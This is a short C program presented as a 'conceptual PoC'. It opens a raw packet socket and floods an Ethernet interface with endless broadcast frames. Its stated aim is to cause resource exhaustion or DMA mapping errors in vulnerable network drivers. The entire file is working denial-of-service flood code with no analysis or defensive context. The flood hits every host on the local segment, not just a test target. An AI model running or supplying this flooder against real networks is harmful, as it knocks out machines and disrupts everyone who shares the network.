#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <net/if.h>
// Conceptual PoC to flood the network interface to potentially trigger memory leaks
// or resource exhaustion in vulnerable drivers.
#define BUFFER_SIZE 1518
int main() {
int sockfd;
struct ifreq if_idx;
struct sockaddr_ll socket_address;
char buffer[BUFFER_SIZE];
char ifName[IFNAMSIZ] = "eth0";
if ((sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) {
perror("socket");
return -1;
}
memset(&if_idx, 0, sizeof(struct ifreq));
strncpy(if_idx.ifr_name, ifName, IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return -1;
}
unsigned char dest_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
memset(&socket_address, 0, sizeof(socket_address));
socket_address.sll_family = AF_PACKET;
socket_address.sll_protocol = htons(ETH_P_ALL);
socket_address.sll_ifindex = if_idx.ifr_ifindex;
socket_address.sll_halen = ETH_ALEN;
memcpy(socket_address.sll_addr, dest_mac, 6);
memset(buffer, 0xAA, BUFFER_SIZE);
struct ethhdr *eth = (struct ethhdr *)buffer;
memcpy(eth->h_dest, dest_mac, 6);
memcpy(eth->h_source, dest_mac, 6);
eth->h_proto = htons(ETH_P_IP);
printf("Starting PoC: Flooding interface %s to trigger potential DMA mapping errors...\n", ifName);
int count = 0;
while (1) {
if (sendto(sockfd, buffer, BUFFER_SIZE, 0, (struct sockaddr*)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
break;
}
count++;
if (count % 1000 == 0) {
printf("Sent %d packets...\n", count);
}
}
close(sockfd);
return 0;
}